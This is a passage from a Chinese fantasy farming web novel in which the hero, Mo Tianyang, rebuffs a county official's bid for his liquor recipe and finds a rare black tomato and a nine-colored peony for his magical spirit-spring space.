张学涛听王传林这么说，也看向莫天扬。莫天扬轻叹一声，说道：“王哥，你认识的人确实不少，可落难时又有几个伸出过援手？与其看人脸色，不如去新地方闯一闯，结交新朋友，或许反而发展得更好。” 吕建国点头附和：“王总，天扬说得在理。现在沛川那些有点头脸的人谁不知道你们处境？与其看他们眼色，真不如出去另起炉灶。等做大了再回来，扬眉吐气！” “那沛川这边……” “既然咱们要做农贸，沛川市场也不能丢，就做正规农贸生意。我这边的产品，优先供你们在外地开拓市场。” 王传林苦笑着点头：“是啊，从开春到出事之前，你的蔬菜瓜果他们谁没吃过？可一出事翻脸就不认人。想想也是，还不如去外面重新开始，也省得看见那些人生气。” “天扬，你现在的屠苏酒还有多少存量？” “大约一千斤。豆芽每天能出一千多斤，另外还有些晒干的木耳、地皮菜和蘑菇，不过量不算大。” 王传林几人眼睛一亮：“还有山货？那太好了！就按你说的，我们去陕省雍州发展，那边交通便利，做生意也方便。” “行，你们找个时间过去看看，找一个店面，到时候需要多少钱说一声就行。” 吕建国听莫天扬这一说，他的心头一震，莫天扬说过王传林他们要重打锣鼓，这现在看来王传林他们的发展主导者应该是莫天扬。 “你这边没了蔬菜也就是豆芽还能赚点钱，你雇了上百人，这每一天开销都的花钱，上次给我们的钱还剩了不少，应该差不多够用。要是不够的话再说。” 第一百六十八章黄鼠狼拜年 青木村曾经穷得连十里八乡都不愿提起，偶尔有人提及，也只是摇头叹息那里的苦日子。 但今年，这一切因莫天扬的回归彻底改变。 被人欺负打断腿的他在彻底爆发，决定留在村里，靠种菜不仅赚了钱，还盖了让无数人羡慕的二层楼，见过的人都说这样的楼房别说在青木村这样的穷地方，就是在浅驼也少见。这次搬家暖房， 他不仅没收村里人的份子钱，连外村来帮忙的人也吃了一顿丰盛的大席。这种事在青木村乃至整个浅驼都几乎从未有过。 在这之后，人们不再把青木村和“穷”字挂钩，提起这里，第一个想到的就是莫天扬。 他成了方圆十里无人不知的红人。就连之前还在纠结的王传林等人也放下身段，只留下李红军在沛川照应生意，其余人全都去了雍州开发市场。 一段时间后，沙地整平工程顺利完成。沙地里施足了农家肥，浇透了水，近三百亩沙地被厚实的草帘盖得严严实实。 沙地的事刚告一段落，雀沟那边更是热闹。沟边堆满了焦黑的树桩，沟底的草木灰正被挖坑发酵。 除了工人，还有好几台挖掘机轰隆作业，将扎根在雀沟上百年的树根拔起。村里人纷纷把挖出来的大树根运回家，当成冬天烧火取暖的好材料。 天气渐渐转凉，可莫天扬依旧每天往山里跑。他灵泉空间里晒干的木耳、蘑菇、地皮菜越堆越多，谷子、小麦也早已堆积如山。 这天在浅驼的出租屋里，莫天扬看向王海龙：“海哥，那边情况怎么样？” “林浩宇判了一年两个月，但进去不到俩月，林家就托人把他弄出来送走了。具体去了哪儿，查不到。” 莫天扬苦笑一声，“他们果然没忍住。” 顿了顿，他又问：“那王传林他们那事……” 王海龙目光沉了沉，“这段时间我们一直在查。之前和王传林合作、又给他们设局的那些公司和集团，表面上各干各的，其实私下业务往来频繁，金额都不小。” 莫天扬眼神一紧，“这么说，王传林他们被坑不是偶然？那些公司都跟那个人有关？ 查到是谁了吗？” “没有。我们跟踪过那几个管事的，他们谈话间偶尔会提起一个叫‘大掌柜’的人，但从不细说。” “大掌柜？” “对。每次提到这个称呼，他们都显得特别恭敬。我推测，这些集团背后的真正老板，就是那位大掌柜。更值得注意的是，西北不少官员据说都似乎和那个大掌柜有关系。” 莫天扬心头一震。王海龙他们都不是普通人，在沛川潜伏这么久也只摸到一点线索——这位“大掌柜”，绝非等闲人物。 “海哥，那个人绝对不简单，你们这样调查他会不会……” “我们也是这个意思，回来好好研究一下，是不是改变一下策略。” “行，那就回来好好休息一段时间，村里现在也不怎么忙，强哥、辉哥他们出来的事件不短，让他们也回家看看。” “可村里？” “村里没事，你们三个商量一下，留一个就行。” “那行，回头我们商量一下。” “天扬，昨天我在青木餐馆，那炖肉和炖鱼真是没得说，连黄糕和小米粥都堪称一绝！每天这个时候就已经有人开始排队了。昨天他们还商量，要不要把店面再扩大一点。” 莫天扬眼神闪烁了一下。如果放在前一段时间，他肯定会毫不犹豫地点头——可那时候他还不知道王传林他们出事。 王传林他们一出事，从颜若曦那里拿到的一百万已经所剩无几。现在要是再开一家大一点的店，他确实得慎重考虑。毕竟，如今每天他还要给上百号人发工资。 王海龙当然清楚王传林的事，也明白莫天扬的难处。他淡淡一笑，说道：“天扬，这几个月餐馆也赚了几万块，我们可以先……” 莫天扬摇摇头，“海哥，不是钱的问题。我是觉得，既然要扩大规模，就得有点样子。店面大了，来的客人层次也不一样，就靠现在这几道菜，未必撑得起来。我回头找爷爷商量一下，看能不能推出几道特色菜作招牌。” 王海龙点点头，“这话在理。” “海哥，咱们先让他们物色地方，等时机成熟，就正经开个像样的大店。” 嗡嗡—— 手机震动起来，莫天扬拿出来一看，笑道：“是标叔。” 本来想回避一下的王海龙，见状也就笑着没动。 “标叔，我这才刚下山一会儿，您电话就来了，是不是有什么东西要我捎回去？” “天扬，你赶紧回来一趟，安云飞过来了。” 莫天扬眼神倏地一凝。安云飞来找他？这可是他从未想过的事。以前两家关系还没闹僵的时候，他叫安云飞一声“姐夫”，对方都爱答不理。如今两家势同水火，李翠花和莫栓更是把莫老三的死怪到他头上。这几个月，莫栓没少在背后使绊子，很多事都有安云飞的影子。 原本老死不相往来的安云飞突然找上门，莫天扬第一反应就是：黄鼠狼给鸡拜年，没安好心。 “标叔，他找我干什么？” “不清楚，他没细说，就让你尽快回来。” “除了他，还有谁？” “还有几个县里的人，说话拿腔拿调的。” “行，我这就回来。” 挂了电话，王海龙关切地问：“天扬，村里出什么事了？” “安云飞来了。” “他……？” “没事，我先回去会会他。海哥，你去餐馆弄点羊肉，正好带回去给嫂子和阿姨尝尝。” …… 青木村。 莫天扬从出租车下来，一眼就看见大院门口停着几辆轿车，一群人围在那儿，这阵仗让他有些意外。 小白欢快地跑过来迎接，而大青则趴在稍远的地方，眼神警惕地盯着那群不速之客。 胡标快步迎上来，压低声音说：“天扬，你爷爷根本没让安云飞进门，他好话说尽，老爷子理都不理。” 莫天扬忍不住笑了，“活该。当初莫云的嫁妆都是爷爷出的钱，她倒好，过上好日子就翻脸不认人，见了爷爷不但不感激，还冷嘲热讽。爷爷虽然从不说什么，可心里都清楚。” 胡标犹豫了一下，又道：“天扬，刚才安云飞带人去酒坊和豆芽房转了一圈……他该不会是冲着屠苏酒和豆芽来的吧？” 这话点醒了莫天扬。回来的路上他一直在琢磨安云飞的来意，胡标这一说，他顿时警觉起来。 不过，他心里仍有些疑惑：屠苏酒还没正式对外出售，安云飞是从哪得到的消息？ 大院门口围了不少村民。人群中，衣着光鲜的安云飞脸上写满了尴尬。他看向堵在门口的莫啸时，眼神深处藏着一丝怨毒。 一见莫天扬来了，安云飞立刻挤出笑容迎上来： “天扬，还认得姐夫吗？” 这话一出，不光是莫天扬，连旁边看热闹的村民都露出厌恶的表情。这些年莫老三一家是怎么欺负莫啸爷孙的，大家都看在眼里。去年更是为了一套安置房，打断了莫天扬的腿——要是没有安云飞在背后撑腰，莫老三和莫栓哪敢这么嚣张？ 莫天扬淡淡一笑，目光落在几乎陌生的安云飞脸上： “姐夫？这称呼是从哪儿论的？” “你忘了？莫云的爷爷和你爷爷是亲兄弟，我们本来就是一大家……” 莫天扬抬手打断他，“标叔说您找我，不知有什么事？” “这里人多不方便，你看要不要进屋说。” 莫天扬看了眼胡标等人以及过来的村民，“你也算是半个青木村的人，这里又没有外人，有什么方便不方便的，再说从你成了青木村的女婿，你好像也没有来过我这个破院子，有什么就在这里说吧。” 莫天扬这一番话，让过来的村民都不由得笑出声来，安云飞的脸色变得很是难看，那些跟着他过来的人再也忍不住。 “莫天扬，你也太不拿我们安主任当回事吧，这一次安主任带着我们可是下来考察项目，一旦成了，对于青木村来说可是天大的好事。” 莫天扬皱了皱眉头，盯着说话的那个大腹便便的中年，“我好像不是村里的干部，考察项目也轮不到我吧，既然你们是过来考察项目，更是为了青木村的发展，你们应该去村里。” “你怎么能这样和我们说话。” “怎么了，我不在职、我一个种地的没文化，你倒是教我怎么说，该不会想过去一样，你们来青木村，村里的男女老少都的过来给你们请安。” 这话一出围观的村民都是哈哈大笑，安云飞一行人的脸色一下变成猪肝色。 “胡标，你这个村支书是怎么当的。” 胡标赶忙摆手，“我已经不干了，我现在只是一个普通的打工人。” “对啊，胡标兢兢业业干了几十年，什么错误也没犯，就让给开除了，你们过来该不会是给胡标平反了吧。” “就是就是，天扬，你回村创业干的这么好，他们或许是过来给你任命，让你去县里上班……” 第一百六十九章当猴耍 曾经因为安云飞的缘故，村里人连莫老三、莫栓一家都不敢轻易得罪，可这些年来，他们默默忍受了多少委屈。直到莫天扬毅然挺身反抗，大家才终于看清——忍让，从来换不来尊重，只会助长欺压。 正因如此，当莫天扬毫不客气地驳回安云飞的面子时，村民也借着他的势头，纷纷站出来替胡标和莫天扬鸣不平。 听着村民你一句我一句的调侃，安云飞气得肺都快炸了，却硬是压住了火——他没忘记这趟来的目的。 可他身边跟来的人却不清楚安云飞的算盘，一个个铁青着脸，朝说笑的村民怒目而视。 “天扬，青木村现在是市里的重点关注对象，而你更是市里扶持的典型。县里听说你打算酿酒、生豆芽，非常重视，决定投资建一个酒厂。你只需要出配方，接下来就等着分红，什么都不用操心。” 莫天扬轻轻一笑，“那一年能分多少？” 站在门口的莫啸脸色微微变了，但他没开口，只是目光深沉地望向孙子。 一旁的胡标却没那么沉得住气，他扯了扯莫天扬的衣角，低声问：“天扬，你没事吧？” 莫天扬淡然一笑，“标叔，我没事。” 说完，他再度看向安云飞，“安主任，你还没回答我呢。” 安云飞皱了皱眉。他准备了整整一肚子的说辞，却没想到莫天扬直接问钱，这让他一时有点措手不及。 “天扬，一年的分红……不会低于十万，不，二十万。” 周围村民一阵低呼。啥也不干，一年净拿二十万？这是他们想都不敢想的事。 莫天扬却摇了摇头。“安主任，一年八千万。达到这个数，屠苏的配方我双手奉上。” “你疯了吧！八千万？你以为你那是茅台还是五粮液？”随行的一人终于忍不住吼了出来。 莫天扬没理他，目光仍定定地看着安云飞，像是在等他接话。 “天扬，你手里的说到底也就是个民间土方。县里投钱建厂，成本不小，酿出来的酒有没有市场还难说。一年二十万，已经是最大的诚意。你这八千万……” 莫天扬淡淡一笑，“这方子现在是土方，但我认为它值这个价。而且不妨告诉您，要是再过两年，就算一年八个亿，我都得考虑考虑。” “这样，五十万一年，这是我所能争取到的极限。你自己开个小酒坊，一年挣个十万八万已经顶破天了，可别错失良机啊。” “安主任，既然你达不到我的要求，那看来是谈不拢了。不过，我还有另一个方案。” “什么方案？” “让县里投资我，酒坊一切由我说了算。您放心，这笔投资就当是我向县里借的贷款。” 莫天扬话音一落，安云飞脸都绿了。那些年他没少听莫云说起莫天扬，总以为这不过是个高分低能的废物。今年莫天扬突然反击，就算他自己差点被拖下水，也依然没把莫天扬放在眼里——他始终觉得那一切与莫天扬无关。 可直到这一刻他才真正意识到，他小看了莫天扬。这人根本不是什么废物，刚才那一来一回，全是被他牵着鼻子戏耍！ “天扬，你不再考虑考虑？”安云飞笑容彻底消失，声音也冷了下来。 “不考虑。要么八千万，要么给我投资。” “莫天扬，别给脸不要脸！信不信我现在就封了你的酒坊？”中年男子再次厉声威胁。 莫天扬眼神一寒，直直盯向对方：“终于不装了吗？我还真不信。你刚才那副嘴脸我已经录下来了，只要有人敢无理取闹，我第一个举报你。我倒要看看，到时候你还能不能这么硬气！” “你……！” “我怎么了？我一个种地的，还怕你这种蛀虫不成？滚远点，跟你多说一句，我都觉得恶心。” 莫天扬表面骂的是那人，但在场谁都听得出来，他真正骂的是安云飞。所有人的目光都聚焦在安云飞脸上。 安云飞脸色由青转黑。他原以为这趟来说几句好话、许点好处，就能轻松拿下配方。却没想到莫天扬连半分颜面都不给，甚至当众指桑骂槐，把他比作蛀虫，说多讲一句都恶心。 事到如今，再装糊涂已毫无意义。莫天扬从心底里排斥他，根本没把他当什么领导，只当成一只猴耍。 安云飞满眼怨毒地盯着莫天扬，可莫天扬压根没把他放在眼里。 安云飞的确有权有势，背后还有人撑腰。若是从前，莫天扬或许就忍了。但经历了这么多事，他早已明白——一味地忍让，只会让安云飞这种人更加得寸进尺。 “爷爷，咱们回家。” 莫啸转身时，眼中掠过一丝不易察觉的欣慰，“羊肉买回来了没？” 莫天扬微微一怔，“刚要买，标叔一个电话把我喊回来了。让宏利开车去趟镇上吧。”爷孙俩说笑着往家走，仿佛刚才什么都没发生。 而这恰恰是对安云飞最大的讽刺——他不仅被莫天扬当猴耍，还遭到村民们的冷嘲热讽。 即便他还是青木村名义上的女婿，这会儿也彻底没脸再待下去。看着曾经风光无限、连老丈人都能仗势欺人的安云飞如此狼狈地离开，村民们忍不住放声大笑，畅快极了。 回到屋里，莫啸自顾回房看电视。跟进来的胡标却皱紧了眉头：“天扬，你不该这么惹安云飞。他要想针对你，也就是一句话的事。” 莫天扬深吸一口气，“标叔，您真以为他今天来是为了我？他是冲着我手里的屠苏配方来的——既想抢东西，又要装好人。他要是真把自己当青木村的女婿、真想帮衬村里，青木村也不至于是现在这个样子。” “理是这么个理，大家都明白。我是怕你一点台阶都不给他，他往后会更盯着你不放。” “他都来断我生路了，我干嘛还给他留面子？要不是众目睽睽，我都想揍他。别把他当人看——我就算让步，您觉得他能放过我？前几次莫栓那事，要不是他在背后撑腰，就凭莫栓那个草包，他敢？” 胡标沉默了一会儿，想起这些年来莫老三一家的所作所为，再想想莫天扬爷孙受的委屈，最终长长叹了口气。 莫天扬说得对，忍让从来换不来安云飞这种人的尊重。也许像天扬这样强硬一点，反而能让他有所忌惮。 莫天扬看出胡标仍在担心，目光动了动，开口道：“标叔，您出去找几个人，在酒坊旁边再搭一间简易房。” “搭房子？你是打算……”“害人之心不可有，防人之心不可无。咱们不害人，但不能不防别人害我。搭个简易房，晚上分几只半大的青狼过去守着。” 胡标点点头，“说得对。那几只小狼崽虽然才三四个月，但个头都快赶上大青狼了。它们比狗还机警，有它们在那边，比人管用。” “标叔，徐明辉在不在？在的话叫他来一趟。” 几分钟后，徐明辉从外面进来，特意在门口跺了跺脚才换鞋。“天扬，标叔说你找我。” 莫天扬指了指沙发，起身给他倒了杯紫烟茶，“海哥他们回浅驼了？” “刚海哥和我说了。国强今天也回老家了，过几天他再来替我。等这边妥了，我们再细商量，一块去沛川。” 莫天扬点点头，“辉哥，刚才的事你也看见了。安云飞没安好心，咱们不害人，但不能不防。我打算在楼房和酒坊那边装一些监控，越隐蔽越好。这方面我们都不太懂，所以……” 徐明辉放下茶杯，“这个简单。明天我出去一趟，浅驼没有我就去沛川买。后天晚上就能开始装。晚上你放心，有我们在，绝不会出什么事。” “辉哥，我已经让标叔在酒坊那边搭个简易房，到时候会派几只青狼过去。它们警觉性高，有它们在，你们也能轻松点。” 莫天扬一提到青狼，徐明辉顿时来了精神，“天扬，我们来这段时间一直想接近那几个小家伙，可它们压根不搭理我们。一靠近就炸毛。” 莫天扬不由得笑了，“辉哥，它们虽然来得早，但一直跟着大青狼活动，父母也时不时来看它们。性子还野着，和山里的狼没两样。不过它们有灵性，别急，真心对它们，它们会接受的。” “好，我知道了。要是没别的事，我先去给标叔搭把手。” “辉哥，这楼房其实已经能住人了，但酒坊那边离不开人，你们还得再委屈几个月。等院子全部弄好，你们就能有自己的房间了。”徐明辉临走时，莫天扬略带歉意地说。 徐明辉摆摆手，“天扬，我们能来跟你干，是福气。活儿不累，吃得比饭店还好。再说那简易房又不差，面积大，电视空调样样有，比我们以前住的宿舍强多了。别说几个月，几年都没问题！” 看着如同徐明辉如同标枪一样的背影，莫天扬想到了王海龙口中所说的大掌柜，他能够操控那么多集团、要员，这个人不简单。而如果自己身边多一些像王海龙、徐明辉这样的人，那他…… 第一百七十章黑色鸡心柿 接下来的几天，莫天扬依然像往常一样，清早先去酒坊和豆芽房忙活一阵，等胡振南几人到了，他便带着小白和大青进青木山。偶尔他会在外待上一整天，回来时总会带回不少顶级的山货。 莫天扬一切如常，但胡标、曹勇、陈峰他们却有了动静。安云飞离开的第二天，他们就用铁皮把酒坊那片区域整个围了起来，除了他们自己，谁也不让进，理由是“青狼在那一片活动”。 “标叔，我进山转转，村里要有什么事，随时给我打电话。” 胡标眼神闪烁，犹豫着开口：“天扬，这些日子你总往山里跑，晒干的山货已经存了不少，够吃一整个冬天了。眼下天气越来越冷，山里说变脸就变脸，要不……” 莫天扬淡淡一笑：“标叔，王传林他们现在主打农贸产品，青木山的山货属顶尖的，家里那点存量根本不够卖。山里和山外不一样，有些地方就算入了冬，也还像南方似的暖和。只要不下大雪、不封山，就没什么问题。” 莫天扬这话让胡标几个脸上一喜，他们虽说不知道王传林几个现在已经给莫天扬做事，可只要将莫天扬的山货卖出去，那可就是钱。 “那也得千万小心，一看天气不对，赶紧找地方避一避，别逞强。” “胡标，天扬小时候就常跟着莫叔进山，别看他年纪轻，对青木山的熟悉程度，可不是我们能比的。再说，还有大青跟着呢。” 胡标闻言哈哈大笑：“你看我，都忘了这茬。听村里老人说，莫叔年轻时候就是山里的常客，当年这大院能建起来，也少不了莫叔的功劳。” 青木山的外围已是草木枯黄，唯有近水的地方还残存着些许绿色。不过，很多地方挂满了五彩斑斓的山果和酸溜溜，落叶铺地、果实压枝，别有一番深秋的韵味。每遇到景致特别好的地段，莫天扬都会驻足拍摄，分享给颜若曦和刘思雨。 当莫天扬再次拍了一段视频给颜若曦、刘思雨，手机刚刚放进衣兜，手机再次震动起来。 莫天扬摇了摇头，这一段时间他已经习惯，他拿出手机，微微一愣，他看到手机号码并不是颜若曦，而是胡标。 “标叔。” “天扬，县里卫生、消防、税务的人过来不少，他们要检查酒坊的证件、卫生、消防等情况。” 莫天扬微微一愣，一瞬间，他就知道这些人再一次来青木村检查肯定是安云飞授意，而且很有可能在酒坊、豆芽房做文章嫁祸自己。 “标叔，现在沛川都知道咱们青木村，我得产业更是被他们点名，他们当然不想让我的产业有任何问题，联合执法很是正常，所有的手续都在我爷爷哪里，你去找他。” “可他们要进酒坊、豆芽房……” “相信他们，让他们随便检查。” 当莫天扬挂断电话，他的嘴角流露出一丝冷冷的笑意，“安云飞，但愿这一次执法是正常执法，如果你敢暗中动手脚的话，那就是你的死期。” 嗡嗡。手机再次震动，莫天扬看到手机上的号码，脸上流露出灿烂的笑容。 “想我了没。” 莫天扬哈哈一笑，“想，怎么能不想，你不是找到工作了，这不好好上班，给我打电话，不怕老板给你穿小鞋。” “我在我朋友这里上班，和在家里坐着没任何差别，刚才给谁打电话，不会是思雨吧。” “不是，县里的联合执法部门下来检查酒坊和豆芽房。标叔问我手续在哪里。” “怎么又下来调查，前两天你刚刚让安云飞下不了台，该不会是他在背后搞鬼吧。” “不知道，咱们酒坊、豆芽房虽说简陋，不过所有一切都是王海龙他们几个把关，他们是什么人你应该清楚，他们检查过绝对没有任何问题，让他们查去吧。” “安云飞是什么人，你应该比谁都清楚，你以后出行必须小心点，我可不能失去你这个能用手机带我畅游青木山的家伙。” “灰家伙，你给我的视频，我剪辑了不少都放到了我得账号，每一段都能引来很多流量，现在很多人都觉得我在那个原始山林中旅游，我现在的粉丝已经超过五百万了。” “那就恭喜了，我是不是想办法榜你这个白富美了。” 颜若曦咯咯一笑，“好啊，给你这个机会，对了，你不是让我们将屠苏的钱换成药草，药草都找齐了，你看寄到哪里。” “等晚上回去我给你发个地址。” “那我就不打扰你了，你自己小心点。” 刚刚挂断电话，刘思雨的电话…… 等和刘思雨聊了一会，莫天扬看到接了三个电话足足耗费了他一个多小时时间，转头看向周围，他想看看大青、小白在什么地方。 随着大青低沉的吼声回荡在山谷间，莫天扬快步走向它所在的方向。登上一道山梁，他看见大青和几只青狼正焦躁地踱步，却唯独不见小白的踪影。 “小白呢？”他轻声问道。 大青扭头朝某个方向连声低吼。莫天扬顺着它的目光望向对面那道山梁——直线距离不过几百米，但真要走过去，却绝非易事。 他正打算让大青呼唤小白回来，却忽然听见远处隐约传来一阵低啸。那是小白的声音，莫天扬再熟悉不过。从小养到大的伙伴，他能清晰分辨出它每一种情绪。此刻的叫声中带着明显的兴奋，显然是发现了什么。 “大青，走，我们去小白那边。” 当他们终于抵达那道生长着胡杨、红柳与松柏的山梁时，莫天扬不禁皱起了眉头。这里沟壑纵横，每一条深沟中都长满了茂密的酸溜溜丛和野山果树，大多数沟壑深处的景象完全被浓密的灌木遮蔽，根本看不清楚。 尽管地势复杂，莫天扬的心中却涌起一阵激动。根据这段时间的经验，他知道往往就是这样人迹罕至的地方，才最容易藏着意想不到的收获。 “大青，记住这座山梁。这里肯定有好东西。” 大青似乎听懂了他的话，点了点头，随即引领他转向另一个方向。他们绕过两条被灌木覆盖的沟壑，终于在一处长满特殊品种酸溜溜的深沟中，找到了小白。 莫天扬看着一人多高的酸溜溜枝头挂满血红与金黄的果实，不禁感慨：这若是在山外，村里的乡亲们又能酿出多少酸甜可口的沙棘汁啊。 他的目光很快转向毛发凌乱的小白，忍不住笑道：“小白，你这是……” 小白冲他低吼几声，突然转身钻进了密不透风的酸溜溜丛中。莫天扬摇摇头，却没有犹豫——他了解小白，若不是真有发现，它绝不会这般模样。 他弯腰跟着小白钻进去，衣服被尖锐的枝条刮破数道口子，却丝毫没有减慢他的速度。忽然，眼前豁然开朗，一股清雅的异香扑鼻而来——这绝非酸溜溜的气味。 定睛看去，小白正站在一片约四五十平米的空地上。空地上铺着一层绿色植物，其间点缀着密密麻麻的黑色果实。 莫天扬走近细看，不由得愣住：匍匐在地的植株叶片分明是西红柿，而叶片下悬挂的黑色果实，竟然是市场上常见的鸡心柿的形状。 但不同的是，这些果实通体漆黑如墨，个头更是比普通鸡心柿大了许多，每个恐怕都有三两多重，几乎赶上普通西红柿的大小。 历史上西红柿虽是通过丝绸之路传入，但那些不过是普通品种。过去的山客或许曾将种子带入青木山，但莫天转念一想又觉得不对：山客都来自山外，若山外早有这般硕大的黑色鸡心柿，如今不可能不见踪迹。那这些…… 想不明白，他索性不再纠结。伸手摘下一颗果实，深吸一口那清雅的香气，轻轻咬下一口。 顿时，莫天扬眼睛一亮。这黑如宝石的鸡心柿甘甜中带着一丝恰到好处的酸爽，比今年种植的任何西红柿都要美味。更难得的是，它不像市面上的鸡心柿那样皮厚汁少，反而汁水充沛、果肉细腻，简直是一种极品水果。 他看着皮毛凌乱的小白，由衷赞叹：“小白，好样的！” 被夸奖的小白低声回应着，莫天扬哈哈大笑。他掏出手机，对着这片倒伏的黑色鸡心柿丛拍摄起来，特别给果实做了个特写，又将周围环境完整记录，随后将视频分享给了颜若曦和刘思雨。 收起手机，莫天扬蹲下身，小心地将一株黑色鸡心柿连根拔起，移栽进灵泉空间。当他移栽第二株时，胸口的印记突然开始发烫。他又连续移栽了几株，直到空地上的植株变得稀疏，这才停手。 “小白，还有没有别的？”他轻声问道。 小白摇摇头，绕到他身后，向来路走去…… 钻出沟壑，莫天扬深吸一口气，看着身上破破烂烂的衣服，脸上却没有一丝懊恼，反而洋溢着难以抑制的兴奋与激动。 第一百七十一章九色牡丹 嗡嗡——手机震动起来。莫天扬拿出来看了眼上面的号码，笑着按下接听键：“怎么了？” “你这是在哪里呀？山里怎么会有鸡心柿？就连沙棘的颗粒都那么大！”电话那头，颜若曦的声音难掩激动。 “我能去哪，青木山，具体方位我也说不清，是小白找到的。这种黑色的鸡心柿，或许是早年进山的山客留下的种子长成的吧。” “不对，我刚刚查过了，种植历史上从没出现过纯黑色的鸡心柿。就算现在国外的转基因技术，也培育不出这种颜色！” “那我就不知道了。不过这黑色鸡心柿的味道，比我今年种的所有西红柿都要好。” “真的吗？我也好想尝尝！” 莫天扬朗声一笑：“行，摘了不少，给你留一些，回头让思雨给你寄过去。” “那就不打扰你啦！我要把你的视频剪辑一下发出去。对了，你周围那些沙棘好像和我之前在视频里看到的不太一样？” “这种沙棘比较特殊，个头大、味道好，就算在青木山外围都很少见，只有深入青木山才能遇到。我等会儿摘些种子，回去撒在不能种植作物的地方，以后你来了就能吃到。” 刚和颜若曦通完话，刘思雨的电话马上又打了进来…… 等挂了电话，莫天扬看了眼手机，这才发觉不知不觉已是下午。他看向小白和大青：“走吧，该回家了。下次我们直接来这儿，多探几条沟壑。大青，让青狼抓几只山鸡野兔就行，家里的存货还不少。” 再次下到山谷，才走出几百米，莫天扬忽然闻到一股浓郁的花香，不由得心生惊讶——此时山外的早晚气温只有十多度，公园里早已花谢花落，可这深山之中竟仍有如此馥郁的花香。 他循着香气走去，数百米后，他看向一片区域，整个人愣在原地。 靠近山底的一片山坡上，铺满了一片翠绿。翠绿的灌木本身并不稀奇，这季节山里这样的植被还有很多；真正让他吃惊的是，灌木顶端竟开着一朵朵碗口大小、通体翠绿的花朵！ 这是……？ 莫天扬眼中满是震惊。红黄紫蓝……各色花卉他在山中都已见过，可纯绿色的花，除了灵泉空间中那不敢轻易示人的绿色荷莲，他还是头一回在野外见到——绿色与黑色的花极为罕见，也正因如此，他至今没敢在池塘里引入绿色荷莲。 他爬上山坡，仔细端详，眼中闪过几分疑惑。从枝干和叶片来看，这似乎是牡丹，可印象中的绿牡丹也只是淡绿色，从未听说过有纯绿色的品种。 他拍下一张纯绿色花朵的照片发给颜若曦，询问她是否认得。 不过片刻，颜若曦的电话就打了过来：“天扬！那是纯色绿牡丹！只有在古籍里才有记载、传说中才存在的品种！你是在哪里找到的？快给我多拍几个视频！” “牡丹不是本来就有绿牡丹吗？” “那根本不算纯色！记住多拍些视频，再带些枝条回来——这要是能培育成功，你可就真发达了！一株纯色绿牡丹能卖到大几千甚至上万！” 莫天扬不禁笑出声。他穿梭在花丛中开始拍摄，直到走到花海中央，脚步忽然一顿。 他看到了一株特别的牡丹。 植株矮小并不出奇，奇的是枝头上的花——周围的牡丹都是纯绿色，植株高达一米五六，高的甚至近两米，堪称花树；而这一株小牡丹却开了九朵花，每朵都是纯色，却九朵九色，各不相同。 这株小花树枝干不大，却布满了斑驳的裂痕。望着它，莫天扬的心跳莫名加快——自从得到空间以来，紫烟、那株奇异的杏树，都曾给他同样的感觉。 压下心头的激动，莫天扬从灵泉空间中取出铁锹，开始小心挖掘。果然如他所料，这株牡丹虽不大，根系却异常发达。 耗费了近四十分钟，他才终于将这株花开九色、色色纯正的小牡丹树完整挖出。 深吸一口气，莫天扬将它送进了空间。 下一刻，他胸前的印记骤然发烫，热度丝毫不逊于紫烟和九彩荷莲进入时的程度。 直到感知到空间开始剧烈变化，莫天扬才看向周围一人高的牡丹树，招呼大青和小白过来，令青狼群在外守护，自己则带着两只爱犬进入了灵泉空间。 此时的灵泉空间已是巨浪滔天，那片陆地正以肉眼可见的速度扩张。莫天扬知道此时登岛并非明智之举，便索性躺在水域中，任由灵泉水洗涤周身。 不知过了多久，空间终于平静下来。莫天扬径直登上小岛，发现经历这次巨变，岛屿的面积至少扩大了一倍。 他没有急于查看原有物种的变化，而是首先想去看看那株花开九色的小牡丹变成了什么模样。 前往牡丹区域的途中，他远远望见那片松木林，不由一怔——这段时间每次进山，他都会在这片松林里采集松茸，对这里再熟悉不过。原本只有海碗粗细的松柏，如今竟变得如同山中的古木林一般粗壮茂密，林海苍茫，黑压压一片，根本望不到尽头。 当莫天扬踏进移栽牡丹的区域时，他几乎不敢相信自己的眼睛—— 眼前赫然展开一片壮丽的牡丹花林。外围的牡丹尚显低矮，越往中心，植株便越是高大挺拔，最高的甚至超过了两米，宛如一棵棵繁花盛放的小树。 但这还远不是最令人震撼的——这些牡丹竟如水域中的九彩莲池一般，自然分化成九片鲜明的色区，每一区都是一种纯粹的单一花色。更惊人的是，每一朵牡丹竟都大如海碗，色彩纯净、花瓣层叠，这样规模与纯度的牡丹，世间绝无仅有。 步入花林中心，莫天扬一眼就看到了最初那株小牡丹——如今已长到一米多高，枝分九杈，每一条枝梢都托起一朵脸盆般巨大的纯色花朵。更神奇的是，每一朵花的周围，还隐隐流转着一圈柔和的九彩光晕。 莫天扬深吸一口气，强忍住伸手触摸的冲动，心中激动难抑。他明白，这一株牡丹，正如水域中的那株九彩莲一样，都属于古籍所载的“天地奇物”，是可遇不可求的无价之宝。 他缓缓绕行一周，仔细看遍每一种纯色牡丹，越看越是心潮澎湃。外界所谓的名品牡丹，与眼前这些灵韵流转、色纯如粹的奇花相比，简直如同路边的野花一般不值一提。 带着难以平复的激动，莫天扬又快步走向黑色鸡心柿生长的区域。尽管时间不长，但灵泉空间的这次巨变，已让黑色鸡心柿蔓延成一片十几亩的茂盛植株。它们虽大多匍匐在地，但繁密的绿叶根本遮不住下面累累如黑宝石般的果实。 他摘下一颗足有三四两重的鸡心柿，果实在掌心泛着深黑的光泽，宛如精雕细琢的墨玉，竟让他有些不忍下口。 终于，他轻轻咬下一口—— 紫黑色的汁液瞬间迸发，甘甜中裹挟着一丝恰到好处的酸爽，一种难以言喻的清新感冲刷着味蕾。甘甜的汁液滑入腹中，化作一缕清凉游走全身，带来一种通透舒畅之感，令人精神为之一振。 三两下吃完整个果子，莫天扬长舒一口气。经灵泉空间孕育后的黑色鸡心柿，口感竟比青木山中的还要美妙数倍。 “赚大发了……真是赚大发了！” 他连叹几声，再不犹豫，取出随身的大袋子，开始尽情采摘——黑色鸡心柿、蘑菇、黑木耳、地皮菜……所有他能想到的山珍，都摘了满满一袋。 确认没有遗漏后，莫天扬忽然想起黄鳝。此前两次捕捞，人们总是吃个精光才想起该留些投放塘中繁衍…… 他快步走向水域浅滩，只见水中虾蟹成群、密密麻麻，成群的黄鳝自如游弋。莫天扬蹲下身，随手一捞，就能捉起几条近一米长的大黄鳝。 抓了二十多斤正要起身，他的动作却猛地一滞—— 不远处的一片水洼里，竟浮动着一团耀眼的紫色。 他急忙站起身望去，顿时心跳加速：那是一群紫鳝！数量足足有数十条之多！ “紫鳝……紫鳝繁衍了！” 